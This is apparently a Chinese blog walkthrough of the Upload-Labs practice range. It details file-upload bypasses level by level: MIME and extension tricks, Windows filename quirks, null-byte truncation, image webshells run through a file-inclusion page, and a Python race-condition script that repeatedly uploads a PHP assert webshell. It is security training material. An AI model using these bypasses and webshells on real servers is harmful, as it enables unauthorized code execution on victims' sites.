Upload-Labs靶场闯关

文章目录

  • Pass-01
  • Pass-02
  • Pass-03
  • Pass-04
  • Pass-05
  • Pass-06
  • Pass-07
  • Pass-08
  • Pass-09
  • Pass-10
  • Pass-11
  • Pass-12
  • Pass-13
  • Pass-14
  • Pass-15
  • Pass-16
  • Pass-17
  • Pass-18
  • Pass-19
  • Pass-20


以下是文件上传绕过的各种思路,不过是鄙人做题记下来的一些思路笔记罢了。


GitHub靶场环境下载:upload-labs


Pass-01

先传一个图片过去,成功上传。
image
尝试传muma过去,提示失败,但是这个提示是在前端直接显示出来的,好像并没有发送请求过去。
image
尝试找到前端校验代码,直接在开发者模式将其js调用的函数删掉。
image
image
然后再次尝试上传木马,上传成功了
image
直接看服务端也是上传成功了。
image

Pass-02

观察前端也是有之前的第一关的前端校验,删除后直接尝试上传木马。

发现上传失败。
image
image
可以看到前端代码我们通过了,但是后端可能又校验没有通过,所以抓包观察一下。

  • 首先尝试修改content-type是否能够上传过去。

    Content-Type: image/jpg
    image
    可以看得到还是失败了。
    image
    可能jpg不行,那试试png?
    还真过去了!现在就是直接找到回显的这个路径直接连接就行了。因为这个回显的路径和文件名都是php,也能够直接访问,然后也被当成php执行了里面的木马代码。
    image

我很纳闷为什么jpg不行,难道jpg列入黑名单了?那就showcode看看

原来是jpg没有进白名单,所以有时候多尝试几个mime头还是OK的。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

但是我仔细一想,发现要是我一开始就先尝试看看哪种文件能够上传成功那就和自己对着能够上传过去的文件进行修改不就好了吗?我重新尝试了一下上传jpg图片看看是不是真的没法上传,但是意外上传成功了!?
image
后面再另外上传一个伪装jpg一抓包发现,原来jpg图片现在的mime头都是JPEG了。。。。原来是我的问题。。。。
image

Pass-03

先传一个带木马的jpg文件看看过不过得去
image
正常过去了
image
看下该文件路径,使用时间戳进行更改名字。但是我们的web.jpg确实过去了,很有可能没有对我内容进行检查,所以我们要抓包在文件名处做文章。
image

  • 尝试直接修改后缀名但是Content-Type为jpeg(失败了)
    image
    image

  • 首先要理解服务端保存文件名字路径的方式,他是将.前面的全当成文件名然后用时间戳替换了,.后面符合过滤条件就使用不符合就不保存返回错误提示。
    由于我们知道服务端是采用的apache,现在有如下几种手段

    • 赌一下运维人员配置不当,存在php3,php7等等也当做php文件执行了。
      (当然这一关就是这个答案,但是需要我们手动配置好)
      在http.d文件中:AddType application/x-httpd-php .php .phtml .php5

    • 双写(肯定不行,因为直接给php拦下来了,不然的话就会变成没有后缀名的时间戳文件名的文件)

    • 尝试xx.php . 或者 xx.php. .,但是都不行,因为服务端会把最后一个点的前面都当成文件名用时间戳替换掉,那么你的filename就会成为: 时间戳.

    • 大小写混合 (失败)

    • 双写
      成功但后缀名没有被替换,依旧是失败了。
      image

    • ::DATA(可能可以,因为windows刚好是服务端使用的系统)

    • 冒号: 二次传输(同理或许能行得通,因为也是针对windows系统)

    • .htaccess(试过了也失败了)

  • 上传php5后缀名,上传成功,根据回显路径访问文件。
    image
    image
    image

  • 但是在访问的时候发现版本也是一个问题,如图所示,只有非nts版本的才能够在我们http.d下添加的后缀名能够被执行,其他都是直接下载而不是执行。(当然都是在http.d下天了php5后缀名的了,只是效果不同而已)
    下面的5.5.38由于我在windowsserver2003中,他不支持就切不了。
    image

  • 重新发送一下木马
    image
    直接访问看看,访问成功了。终于结束了这场闹剧。。。。
    image

Pass-04

传一个木马图片过去看看什么情况,发现文件名没有改,然后也没有校验文件的内容
image
image
尝试::$DATA看看不行不

::$DATA失败
image
尝试windows的其他特性

  • xx.php .

    失败
    image

  • xx.php. .
    成功了!!!!!!!!!!!!!但是回显是1.php.,但是没有关系,因为windows特性是不会让文件名最后一个字符是.的,所以我们接访问1.php即可
    image
    image
    使用蚁剑连接成功
    image

  • xx.php:.jpg(这里需要二次传输)

    • 第一次:(成功了!!!!!!!!!!)
      传过去但是该文件没有内容,第一次的作用就是创建一个文件。
      image
      可以看到服务端的这个文件也是0kb
      image
    • 第二次:作用是传输文件内容进去
      这里注意传的文件名是1.<<,<<是追加符号,把内容追加到文件名为1的文件中去
      image
      看到路径是1.<<,但是没关系,接着看后面
      image
      我们现在尝试着连接一下1.php,同样是成功了!!!!!!!!!!!!
      image
      回到服务器看看怎么个事。
      果然成功将内容输入进去了,不再是0kb内容。而且里面的内容就是我们要的
      image

Pass-05

老规传一个木马图片看看怎么个事
image
正常传过去了,但是又是那一招使用时间戳把我文件重命名了。
那这样先传一个php文件抓包看看
image
直接过去肯定被拦下来了
image
现在有如下几个思路

  • 修改Content-Type (失败)

  • 修改Content-Type 和 添加文件头,比如GIF89A (失败)

  • windows特性

    • xx.php. (失败)

    • xx.php. . (成功!!!!!!!!)
      image
      注意了,我这里圈出来了我之前使用过的方法比如Content-type还是gif和文件内容中也有gif的标准头,这是因为防范一下,不然刚好服务端都考虑了这两个,不然我就吃亏了,明明一个漏洞能够找到,但就是因为你没有考虑到这种组合的情况就错失了。
      但是!!!!!!!!回去一看访问路径,惨遭滑铁卢。。。。。居然还是那一招,最后一个.号前面全部使用时间戳命名了。。
      image

再次思考一下我还有什么办法??

  • ::$DATA (失败)

  • .htaccess (还是失败)

    image
    image

  • 冒号:
    (也是失败了)
    image
    image

  • 啊难道没有办法了吗!!!!!!????
    思考了一下还能使用啥??

  • 双写绕过,感觉不太靠谱,试一试
    image
    是过去了但是后缀名没有被替换,所以还是不行
    image

  • 大小写混合使用???试一试??
    image
    啊???还真过了啊,当真是兵不厌诈。。。。然后连接了一下还真是连接成功了的。。。。
    image
    image

Pass-06

老规矩上来就上传一个木马图片,成功了,但是依旧是熟悉的时间戳
image
直接上传php木马文件肯定是不允许的,这里就不演示了。
按照我们的经验,以下是我实验的顺序

  • 大小写混合(失败)

  • 双写 (失败)

  • windows特性

    • xx.php .

      成功了。。。这么简单吗???试试连接一下也OK了,但是我不甘心,我要继续测试看其他方式行不行
      image
      在这里插入图片描述

      • xx.php. .
        失败
        image
      • xx.php::$DATA
        失败
        image
      • xx.php:.jpg
        失败
        image
  • 既然重命名了我们的.htaccess也上传不了(试过了,失败)

那就是一个xx.php .利用windows特性上传成功并成功解析木马。
查看源码发现原来如此,先是删除了末尾的点,然后变成xx.php后,strrchr就找到最后一个点然后该点后面的作为后缀名,那就是.php作为后缀名了。但是和第三关不一样的是因为这里没有将空格去掉,第三关有一个函数是: $file_name = trim($_FILES['upload_file']['name']);,所以我们的windows特性都利用失败了,只能够说通过尝试同后缀名来测试是否有运维人员的配置不当来绕过。
image

Pass-07

先传一个带马图片过去,上传成功
image
现在开始传php木马文件过去
尝试直接使用windows的特性

  • xx.php .
    居然一下子就上传成功了
    image
    同时也连接成功
    image

Pass-08

木马图片传过去,发现使用了老朋友时间戳重命名了文件。
image
由于是知道服务器使用的是windows系统,所以结合该系统特性

  • xx.php .

    失败

  • xx.php. .

    失败
    image

  • xx.php::$DATA
    成功了
    image
    过去后是这样的路径,不过没关系,在windows下就只剩下php后缀名了,按照回显的文件名进行访问即可。
    image
    连接成功
    image

  • xx.php:.jpg
    失败
    image

Pass-09

上传木马图片,成功上传。并且我们的文件名没有改变。
image
先修改一下Content-type,然后也是意料之中被拦截了。
image
在此基础上利用apache的漏洞

  • 首先不是2.2版本一下,排除xx.php.php123后缀名解析漏洞

  • 运维人员配置不当存在可解析的后缀名。(php1,php2,php3,php4…)

    已尝试:失败了

  • 上传.htaccess文件,这个因为我们上传的文件没有被改掉名字,所以是可以尝试使用.htaccess文件

    居然也失败了,是直接被列入黑名单了。
    image

  • 利用windows的其他特性

    • xx.php .
      失败
    • xx.php. .
      成功了居然,那就尝试连接一下。
      image
      同样连接成功了。
      image
  • xx.php::$DATA
    失败

  • xx.php:.jpg
    成功!!!!!
    image
    进行二次输入,也成了,那我们尝试连接一下
    image
    连接也成功了!!!(说明,1.php我是在服务器删除了才使用这个方式上传过去的,所以这个1.php就是使用windows的:.jpg方式二次传输过去的)
    image

Pass-10

上传一个木马图片,回显名字发现没有被修改,那就代表没有对文件内容进行检查。
image
上传木马php文件,抓包修改数据包
先修改一下content-type看看是否能够直接过去。
image
奇怪的就是我们的php不见了,到这里一想就想到了其实是替换掉了我们的php,我么使用双写或许就绕过了。
使用双写:成功绕过
image
成功连接上木马
image

Pass-11

上传一个木马图片,上传成功,那就代表没有对内容进行检查,还发现用了时间戳修改文件名字。
image
尝试上传php木马

  • 首先尝试抓包修改content-type
    意料之中,失败了
  • windows特性利用
    • xx.php .
      失败
    • xx.php. .
      失败
    • xx.php::$DATA
      失败
    • xx.php:.jpg
      成功上传但是文件后缀名没有修改成功
      image
  • 双写
    失败
  • 大小写混合
    失败
  • 那就结合apache漏洞的解析漏洞进行上传
    • 上传.htaccess文件
      但是这里使用了时间戳进行重命名,所以也是失败告终
    • 赌运维人员配置不当导致有文件后缀名能够当成php代码解析了。但是只允许上传这几个文件类型。也是失败了。
      image
  • apache2.2版本的话还能上传一个xx.php.jpg上去,但是我们就不是用的2.2

其实当我用出了双写和混合大小写的时候就知道这题不简单了,很有可能是时间竞争,这时候我show code一下。
好的打脸了,其实不是时间竞争,而是%00截断


$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

看来我还是太嫩了,漏了这一茬,其实我应该再细心一点,上传一个图片过去的时候就应该要发现了,这里多了一个反斜杠。
image
还有一个线索就是我们的上传路径变成了
/uploadlabs/Pass-11/index.php?save_path=../upload/
这个就是典型的%00截断啊,你小子这么粗心这都没发现!!!!因为看到能够在客户端中给出保存的路径的时候,我们就能够通过我们自己给出的这个路径将其截断一下,刚好拿到这个save_path的时候我们就能够通过%00将其截断掉了!!!!!!!
image
OK那么事已至此,尘埃落定,事实证明了我是个菜鸟,直面事实吧。
上传一个php木马,然后我们直接在save_path加上截断就行
image
注意事项:nts版本上传失败(我这里版本切换成了5.2.17),上传的后缀名随便,真正的文件名写在%00前面,因为保存文件名的路径是使用save_path的,所以本质上这个漏洞就是判断的是我们上传的文件的后缀名,然后需要保存的路径是get请求中带过去,就是因为get这个url的目录保存路径,导致目录拼接我们的文件名的时候,我们给的目录中有截断字符,所以保存下来的就是我们的save_path目录中给出的文件名。

听懂掌声!

Pass-12

上传一个带木马的图片文件,发现成功上传,代表没有对内容进行检查,检查回显的文件名路径是是用来时间戳重命名了。
image
上传木马,抓包发现post数据包中发现有save_path在里面,我们就应该要立刻反映出来能够进行%00截断,因为是在客户端给出的参数中取出保存的路径这个漏洞必定有%00截断。
image
修改数据包将其截断,当然我们filename不能是.php后缀名,我们需要过了校验,所以使用jpg或者gif等等都无所谓,这里只是为了过后端校验罢了,我们真正保存的名字是save_path通过%00截断将其截断出来我们要保存的文件名而已,%00能够在拼接的时候截断掉后面的filename将会失效。

但是!!!!!!!!!!!!!!!!注意,这里使用的是post数据,我们%00只是在get的url中能够使用,我们%00对应的就是00,所以我们post作为正常数据的截断需要修改十六进制数据,而%00对应的十六进制数据是0x00,这就很容易了。

比如save_path=../upload/随便.php空格 ,在最后多加了一个空格,然后抓包修改的时候找到空格的十六进制将其修改为00就行,我们知道空格对应的十六进制是0x20,所以找的时候也方便,同时也让空格先占一个位置,修改的时候直接修改那个位置就行。
image
如上图所示,找到所在位置的十六进制对应的空格,然后修改为00即可
image
然后直接发送就行。(如果你burpsuite的字体是没修改过的,或许你会看到你的空格会变成一个类似口的东西在后缀名后面。这样也能够验证你修改成功了。)
image
连接一下suibian.php,成功连上。
image

Pass-13

上传一个木马图片,发现被拦下来了,所以可以笃定肯定对我们的图片内容进行检查了。
image
思路:

  • 改content-type
  • 该文件内容头部
  • 既然该关卡中写明了有文件包含漏洞,那我们直接传一个后缀名不是php的也是可以(包含的文件都会被当成php执行)

没想到改完后直接就过去了,甚至没有对我的后缀名和content-type进行核对
image
现在的任务就是利用文件包漏洞包含该路径下的1.jpg木马文件

上传过去后使用时间戳给我更改了名字而且连后缀名也改掉了,当真是无语,我给出的jpg后缀名看都不看。
image
那既然如此,在此关卡中给出的文件包含漏洞处尝试包含一下试试

这是文件包含的漏洞代码
image

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

image
连接成功了。
image
这一关是文件内容头检查,所以我们的内容中添加了GIF89A就能够绕过。(代码中是读取文件的内容进行判读类型)

这一关的源代码如下:

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

Pass-14

上传一个木马图片,发现对我的文件内容进行检查了
image
思路:

  • 改文件content-type
  • 文件内容头部数据添加对应的content-type类型头部
  • 上传不是php的也行,因为文件包含漏洞中包含的是php文件,只要我们上传文件内容中包含了木马代码即可。

上传成功
image
看到文件路径我也是再次无语,同样是和13关一样,我的1.php后缀名看都不看,直接使用我的content-type类型拿来作为后缀名了
image
利用文件包含漏洞包含该路径下的文件

这是文件包含漏洞的代码
image

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

尝试包含木马图片
image
尝试连接木马,也是连接成功了。
image
getimagesize函数解析

<?php
// 图像文件的路径
$filename = 'example.jpg';

// 获取图像信息
$imageinfo = getimagesize($filename);

if ($imageinfo !== false) {
    // 打印图像信息
    echo "图像宽度: " . $imageinfo[0] . "<br>";
    echo "图像高度: " . $imageinfo[1] . "<br>";
    echo "图像类型: " . $imageinfo[2] . "<br>";
    echo "MIME 类型: " . $imageinfo['mime'] . "<br>";
} else {
    echo "无法获取图像信息。";
}
?>

image_type_to_extension函数解析,这一关的源码就是使用了上面函数返回的数组中获取下标为2的图像类型作为参数

<?php
// 图像类型
$imagetype = IMAGETYPE_JPEG;

// 获取图像类型对应的文件扩展名(包含点)
$extension = image_type_to_extension($imagetype);
echo "文件扩展名(包含点):$extension<br>";

// 获取图像类型对应的文件扩展名(不包含点)
$extension_without_dot = image_type_to_extension($imagetype, false);
echo "文件扩展名(不包含点):$extension_without_dot<br>";
?>

源代码如下:

结合上面两个函数的解析可以发现,这一关中其实也就是检查文件头内容判断文件的类型,我也尝试了修改各种文件后缀名和修改各种content-type发现都改变不了后缀名,只要我们的文件内容头部是正确的都能够通过校验。

比如我数据包里面文件内容头部一直都是GIF89A,然后无论我怎么修改filename的后缀名还有修改content-type的类型都没有任何影响,我的文件照样是按照gif的类型传送过去了,然后回显给我的文件后缀名也是gif。

第13关也是一样,只不过这一关中使用的是getimagesize来获取图片信息,然后通过该数组来获取图片的类型,13关只不过是通过读取文件内容来获取图片类型而已。有异曲同工之处。

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

Pass-15

这一关同14关操作。

Pass-16

这一关中比较总和,我们一个一个方法进行测试。

  • 传输一个图片木马,发现被拦下来,那就代表肯定是对我们的文件内容进行检查
    image
  • 抓包修改content-type和文件头内容
    出乎意料的居然没有通过
    image

这时候应该思考的是我们的内容可能二次渲染了,这些二次渲染的函数会读取我们的文件内容然后根据内容重新生成图片,如果生成成功那就存下来。(先不要考虑时间竞争问题)

  • 验证是二次渲染和赌不被清空木马代码的可能性

    我们要通过二次渲染的图片就要使用图片和木马内容进行结合,目前有两种办法

    • 使用windows/linux的系统指令对正常的图片文件和木马文件进行合并
    windows的指令:copy /b 图片.jpg+木马.txt 目标.jpg   然后就通过上传目标.jpg看看是否上传成功
    
    linux就不演示了(因为我懒)
    
    • 使用特定的工具对图片和木马进行结合(这种方法可行性较高)

    在Vstart50中的工具:VStart50\tools\漏洞利用\edjpgcom图片插入一句话工具\edjpgcom.exe
    以上的方式我已经测试了很多种,有的能够传过去,但是利用文件包含漏洞包含解析的时候会报语法错误,只能够说能够上传过去且保留下木马代码的图片叫做坚强的木马。(只能说到这渗透勉强成功和结束了)

Pass-17

上传一个图片木马,上传成功,并没有对文件内容进行校验,但是老样子使用了时间戳重命名。
image
思路:

  • 时间戳重命名的话windows特性十有八九失败,但还是要一试

    • xx.php .
    • xx.php. .
    • xx.php::$DATA
    • xx.php:.jpg
  • 没有客户端给出保存路径的参数,所以00截断不行

  • 尝试上传php1/php2/php3等等后缀名(赌一下运维人员配置不当导致漏洞的发生)

  • apache上传.htaccess也会失败,因为重命名的原因。2.2版本漏洞也不存在,使用的不再是该版本。

  • 找出文件包含漏洞直接秒了,但是这一题不可以使用前面一题目的文件包含进行作弊。

  • 双写和大小写混合,实验后同样是失败了。因为固定了后缀名允许的几个图片(jpg,png,gif)

  • 那就只剩下条件竞争了

    • 时间竞争

      这一关就是通过时间竞争,时间竞争比较容易成功,因为已经存进了服务器中,只不过不通过服务器校验的话再删除而已。

      所以只要能够访问成功一次我们上传的代码文件,能做什么事情全看我们的代码写的什么。

      改代码可以是直接创建一个shell脚本,然后后续直接访问该创建出来的脚本即可。

      具体步骤参考下面即可:

      第一种:使用burpsuite攻击器来发送大量的数据包(使用两个攻击器,一个发送一个访问)

      第二种:使用python的hackhttp模块

      #pip install hackhttp安装hackhttp模块
      #!/usr/bin/env python
      # coding:utf-8
      
      
      import hackhttp
      from multiprocessing.dummy import Pool as ThreadPool
      def upload(lists):
      	hh = hackhttp.hackhttp()
      	raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
       Host: 127.0.0.1
       User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 
      Firefox/49.0
       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
       Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
       Accept-Encoding: gzip, deflate
       Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
       Cookie: pass=17
       Connection: close
       Upgrade-Insecure-Requests: 1
       Content-Type: multipart/form-data; boundary=--------------------------
      -6696274297634
       Content-Length: 341
      
       -----------------------------6696274297634
       Content-Disposition: form-data; name="upload_file"; filename="17.php"
       Content-Type: application/octet-stream
      
       <?php assert($_POST["LandGrey"])?>
       -----------------------------6696274297634
       Content-Disposition: form-data; name="submit"
      
       上传
       -----------------------------6696274297634--
       """
      	 code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-/index.php',raw=raw)
      	 print(str(code) + "\r")
      
      #===========================================
      pool = ThreadPool(10)
      pool.map(upload, range(10000))
      pool.close()
      pool.join()
      
  • 重命名竞争
    重命名在18关

Pass-18

这一关是重命名竞争。很容易复现。

首先说明,我使用的是5.2.17版本,直接就能够解析这个.php.7z文件

前提需要

  • 需要白名单内有.7z(注意是白名单为.7z,不要和下面搞混)
  • apache版本需要在2.x能解析.php.7z文件。但是实测5.2.17也能够解析.php.7z文件(注意,是能够解析.php.7z)
  • 使用burpsuite快速进行发送数据包即可。如果手速不够快直接使用burpsuite攻击器进行攻击。使用其他攻击器也行。

下面演示使用burpsuite
image
可以看到直接成功了,根本没有用到攻击器(也有可能是我搭建的环境比较垃圾,删除的比较慢,所以攻击成功。)

但是注意,这里是代码开了一个小玩笑,我们上传的是1.php.7z,但是这里却是upload1.php.7z,很容易就想到是少了一个/导致路径拼接成了upload1.php.7z,(原本应该是想传到upload/1.php.7z)但是没有关系,我们上传成功了即可,现实中不会出现这种错误。
image
再次说明,我使用的是5.2.17版本,直接就能够解析这个.php.7z文件

所以现在尝试使用蚁剑连接试试,成功了。
image

Pass-19

原理同Pass-11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg,这里就不在演示了。

Pass-20

源码审计,源自CTF比赛的,由于实际工作中代码不可能都一样,所以审计这里就不写了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/766423.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

带电池监控功能的恒流直流负载组

EAK的交流和直流工业电池负载组测试仪对于测试和验证关键电力系统的能力至关重要&#xff0c;旨在实现最佳精度。作为一家客户至上的公司&#xff0c;我们继续尽我们所能应对供应链挑战&#xff0c;以提供出色的交货时间&#xff0c;大约是行业其他公司的一半。 交流负载组 我…

嵌入式c语言2——预处理

在c语言中&#xff0c;头部内容&#xff0c;如include与define是不参与编译而直接预先处理的 如include相当于把头文件扩展&#xff0c;define相当于做了替换 c语言大型工程创建时&#xff0c;会有调试版本与发行版本&#xff0c;发行时不希望看到调试部分内容&#xff0c;此时…

如何使用 Builder 设计模式和 DataFaker 库在自动化测试中生成测试数据

在自动化 API/Web 或移动应用程序时&#xff0c;您可能会遇到这样的情况&#xff1a;在注册用户时&#xff0c;您可能正在设置用于在测试自动化的端到端用户旅程中签出产品的地址。 那么&#xff0c;你是怎么做到的呢&#xff1f; 通常&#xff0c;我们在 Java 中创建一个 POJO…

鸿蒙开发设备管理:【@ohos.distributedHardware.deviceManager (设备管理)】

设备管理 本模块提供分布式设备管理能力。 系统应用可调用接口实现如下功能&#xff1a; 注册和解除注册设备上下线变化监听发现周边不可信设备认证和取消认证设备查询可信设备列表查询本地设备信息&#xff0c;包括设备名称&#xff0c;设备类型和设备标识 说明&#xff1a…

检索增强生成RAG系列5--RAG提升之路由(routing)

在系列3和系列4我讲了关于一个基本流程下&#xff0c;RAG的提高准确率的关键点&#xff0c;那么接下来&#xff0c;我们再次讲解2个方面&#xff0c;这2个方面可能与RAG的准确率有关系&#xff0c;但是更多的它们是有其它用途。本期先来讲解RAG路由。 目录 1 基本思想2 Logica…

Linux基础 - LNMP 架构部署动态网站环境

目录 零. 简介 一. 部署 二. 安装 Nginx 三. 安装MySQL 四. 安装PHP 五. 配置网站目录 六. 测试环境 零. 简介 LNMP 是指 Linux Nginx MySQL PHP 这一组合架构&#xff0c;用于部署动态网站环境。 Linux 作为操作系统&#xff0c;提供了稳定、安全和高效的基础平台。…

Swift 中强大的 Key Paths(键路径)机制趣谈(上)

概览 小伙伴们可能不知道&#xff1a;在 Swift 语言中隐藏着大量看似“其貌不扬”实则却让秃头码农们“高世骇俗”&#xff0c;堪称卧虎藏龙的各种秘技。 其中&#xff0c;有一枚“不起眼”的小家伙称之为键路径&#xff08;Key Paths&#xff09;。如若将其善加利用&#xff…

MYSQL函数进阶详解:案例解析(第19天)

系列文章目录 一、MySQL的函数&#xff08;重点&#xff09; 二、MySQL的窗口函数&#xff08;重点&#xff09; 三、MySQL的视图&#xff08;熟悉&#xff09; 四、MySQL的事务&#xff08;熟悉&#xff09; 文章目录 系列文章目录前言一、MySQL的函数1. 聚合函数2. group_c…

Linux基础 - MariaDB 数据库管理系统

目录 零. 简介 一. 安装 二. 基本使用 1. 设置root密码 2. 创建库 3. 创建表 4.添加数据 5. 查看数据 三. 管理表单及数据 四. 数据库的备份及恢复 零. 简介 MariaDB 是一种流行的开源数据库管理系统&#xff0c;它是 MySQL 的一个分支。 MariaDB 保留了与 MySQL 的…

HarmonyOS APP应用开发项目- MCA助手(Day01持续更新中~)

简言&#xff1a; gitee地址&#xff1a;https://gitee.com/whltaoin_admin/money-controller-app.git端云一体化开发在线文档&#xff1a;https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/agc-harmonyos-clouddev-view-0000001700053733-V5 注&#xff1…

激光粒度分析仪校准步骤详解:提升测量精度的秘诀

在材料科学、环境监测、医药研发等众多领域&#xff0c;激光粒度分析仪以其高精度、高效率的测量性能&#xff0c;成为了不可或缺的测试工具。然而&#xff0c;为了保持其测量结果的准确性和可靠性&#xff0c;定期校准是不可或缺的步骤。 接下来&#xff0c;佰德将为您详细介…

可视化低代码平台之:RayData光启元的震撼作品。

RayData家的可视化作品&#xff0c;贝格前端工场是经常碰到&#xff0c;制作十分的精良&#xff0c;业内很有影响力。他们也有自己的低代码平台&#xff0c;分为了桌面版和网页版&#xff0c;本期分享一下他们的作品。

【单片机毕业设计选题24043】-可旋转式电视支架控制系统设计与实现

系统功能: 系统操作说明&#xff1a; 上电后OLED显示 “欢迎使用电视支架系统请稍后”&#xff0c;两秒后进入正常界面显示 第一页面第一行显示 Mode:Key&#xff0c; 第二行显示 TV:Middle 短按B5按键可控制步进电机左转&#xff0c; 第二行显示 TV:Left 后正常显示 TV:…

六、资产安全—信息分级资产管理与隐私保护练习题(CISSP)

六、资产安全—信息分级资产管理与隐私保护(CISSP): 六、资产安全—信息分级资产管理与隐私保护(C

语义检索-BAAI Embedding语义向量模型深度解析:微调Cross-Encoder以提升语义检索精度

语义检索-BAAI Embedding语义向量模型深度解析:微调Cross-Encoder以提升语义检索精度 语义向量模型(Embedding Model)已经被广泛应用于搜索、推荐、数据挖掘等重要领域。在大模型时代,它更是用于解决幻觉问题、知识时效问题、超长文本问题等各种大模型本身制约或不足的必要…

【Python】已解决:ModuleNotFoundError: No module named ‘pyhanlp’

文章目录 一、分析问题背景二、可能出错的原因三、错误代码示例五、注意事项 已解决&#xff1a;ModuleNotFoundError: No module named ‘pyhanlp’ 一、分析问题背景 在使用Python进行自然语言处理时&#xff0c;有时我们可能会用到pyhanlp这个库&#xff0c;它是一个基于J…

煤矿安全大模型:微调internlm2模型实现针对煤矿事故和煤矿安全知识的智能问答

煤矿安全大模型————矿途智护者 使用煤矿历史事故案例,事故处理报告、安全规程规章制度、技术文档、煤矿从业人员入职考试题库等数据,微调internlm2模型实现针对煤矿事故和煤矿安全知识的智能问答。 本项目简介: 近年来,国家对煤矿安全生产的重视程度不断提升。为了确…

STM32 中断编程入门

目录 一、中断系统 1、中断的原理 2、中断类型 外部中断 定时器中断 DMA中断 3、中断处理函数 中断标志位清除 中断服务程序退出 二、实际应用 中断控制LED 任务要求 代码示例 中断控制串口通信 任务要求1 代码示例 任务要求2 代码示例 总结 学习目标&…

【第三版 系统集成项目管理工程师】第5 章 软件工程

持续更新。。。。。。。。。。。。。。。 【第三版】第五章 软件工程 5.1软件工程定义练习 5.2软件需求5.2.1雾求的层次1.业务需求-P2032.用户需求-P2033.系统需求-P203 5.2.2质量功能部署 P2035.2.3需求获取 P2045.2.4需求分析1.结构化分析-P2042.面向对象分析-P207 5.2.5号求…

第二证券:可转债基础知识?想玩可转债一定要搞懂的交易规则!

可转债&#xff0c;全称是“可转化公司债券”&#xff0c;是上市公司为了融资&#xff0c;向社会公众所发行的一种债券&#xff0c;具有股票和债券的双重特点&#xff0c;投资者可以选择按照发行时约定的价格将债券转化成公司一般股票&#xff0c;也可作为债券持有到期后收取本…